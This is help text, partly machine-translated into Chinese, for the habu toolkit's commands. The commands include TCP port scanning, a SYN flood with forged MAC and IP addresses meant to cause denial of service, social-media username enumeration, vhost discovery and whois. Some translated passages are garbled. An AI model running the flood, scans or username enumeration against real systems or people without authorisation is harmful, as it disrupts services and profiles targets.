用法:habu.tcp.scan [選項] IP TCP端口掃描儀。 打印使用SYN標誌生成響應的端口或(如果顯示 使用-a)所有生成響應的端口。 與NMAP相比,這確實是基本的,但是誰在比較? 例子: #HABU.TCP.SCAN -P 22,23,80,443 -S 1 45.77.113.133 22 S-> SA 80 S-> SA 443 S-> SA 選項: -p文本端口要使用(默認值:80)示例:20-23,80,135 - 我要使用的文本接口 -f要使用的文本標誌(默認:S) -s TEXT Time between probes (default: send all together) -t INTEGER Timeout for each probe (default: 2 seconds) -a Show all responses (default: Only containing SYN flag) -v Verbose output --help Show this message and exit.
Usage: habu.tcp.synflood [OPTIONS] IP Launch a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. Reference: https://en.wikipedia.org/wiki/SYN_flood 例子: # sudo habu.tcp.synflood 172.16.0.10 ..................... Each dot is a packet sent. You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address. You can choose the number of connections to create with the option '-c'. The default is never stop creating connections. Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets. 選項: -i TEXT Wich interface to use (default: auto) -c INTEGER How many packets send (default: infinit) -p INTEGER Port to use (default: 135) -2 Forge layer2/MAC address (default: No) -3 Forge layer3/IP address (default: No) -v Verbose --help Show this message and exit.
Usage: habu.traceroute [OPTIONS] IP TCP traceroute. Identify the path to a destination getting the ttl-zero-during-transit 消息。 Note: On the internet, you can have various valid paths to a device. 例子: # habu.traceroute 45.77.113.133 IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding 。 IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror 。 IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding Note: It's better if you use a port that is open on the remote system. 選項: -p INTEGER Port to use (default: 80) -i TEXT Interface to use --help Show this message and exit.
Usage: habu.upgrade [OPTIONS] Upgrade habu (from https://github.com/fportantier/habu) 選項: --help Show this message and exit.
Usage: habu.usercheck [OPTIONS] USERNAME
Check if the given username exists on various social networks and other
popular sites.
$ habu.usercheck portantier
{
"aboutme": "https://about.me/portantier",
"disqus": "https://disqus.com/by/portantier/",
"github": "https://github.com/portantier/",
"ifttt": "https://ifttt.com/p/portantier",
"lastfm": "https://www.last.fm/user/portantier",
"medium": "https://medium.com/@portantier",
"pastebin": "https://pastebin.com/u/portantier",
"pinterest": "https://in.pinterest.com/portantier/",
"twitter": "https://twitter.com/portantier",
"vimeo": "https://vimeo.com/portantier"
}
選項:
-c Disable cache
-v Verbose output
-w Open each valid url in a webbrowser
--help Show this message and exit.
Usage: habu.version [OPTIONS] 選項: --help Show this message and exit.
Usage: habu.vhosts [OPTIONS] HOST
Use Bing to query the websites hosted on the same IP address.
$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
'www.telefonica.es',
'universitas.telefonica.com',
'www.telefonica.com',
這是給出的
選項:
-c Disable cache
-p INTEGER Pages count (Default: 10)
-f INTEGER First result to get (Default: 1)
--help Show this message and exit.
Usage: habu.virustotal [OPTIONS] INPUT
Send a file to VirusTotal https://www.virustotal.com/ and print the report
in JSON format.
Note: Before send a file, will check if the file has been analyzed before
(sending the sha256 of the file), if a report exists, no submission will
be made, and you will see the last report.
$ habu.virustotal meterpreter.exe
Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
Sending file for analysis
Waiting/retrieving the report...
{
"md5": "0ddb015b5328eb4d0cc2b87c39c49686",
"permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
"positives": 49,
"resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"response_code": 1,
"scan_date": "2018-05-20 21:11:57",
"scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
"scans": {
"ALYac": {
"detected": true,
"result": "Trojan.CryptZ.Gen",
"update": "20180520",
"version": "1.1.1.5"
},,
... The other scanners ...
},,
"sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
"sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"total": 67,
"verbose_msg": "Scan finished, information embedded"
}
選項:
-v Verbose output
--help Show this message and exit.
Usage: habu.web.report [OPTIONS] [INPUT_FILE] Makes a report that includes HTTP headers of websites. Optionally, uses Firefox or Chromium to take a screenshot of the websites. The expected format is one url per line. Creates a directory called 'report' with the content inside. $ echo https://www.portantier.com | habu.web.report 選項: -v Verbose output -s Take a screenshot for each website -b [firefox|chromium-browser] Browser to use for screenshot. --help Show this message and exit.
Usage: habu.web.screenshot [OPTIONS] URL Uses Firefox or Chromium to take a screenshot of the website. $ habu.web.screenshot https://www.portantier.com 選項: -b [firefox|chromium-browser] Browser to use for screenshot. -o TEXT Output file. (default: screenshot.png) --help Show this message and exit.
Usage: habu.whois.domain [OPTIONS] DOMAIN Simple whois client to check domain names. 例子: $ habu.whois.domain google.com registrar MarkMonitor, Inc. whois_server whois.markmonitor.com creation_date 1997-09-15 04:00:00 expiration_date 2028-09-14 04:00:00 name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com emails [email protected], [email protected] dnssec unsigned org Google LLC country US state CA 選項: --json Print the output in JSON format --csv Print the output in CSV format --help Show this message and exit.
Usage: habu.whois.ip [OPTIONS] IP Simple whois client to check IP addresses (IPv4 and IPv6). 例子: $ habu.whois.ip 8.8.4.4 asn 15169 asn_registry arin asn_cidr 8.8.4.0/24 asn_country_code US asn_description GOOGLE - Google LLC, US asn_date 1992-12-01 選項: --json Print the output in JSON format --csv Print the output in CSV format --help Show this message and exit.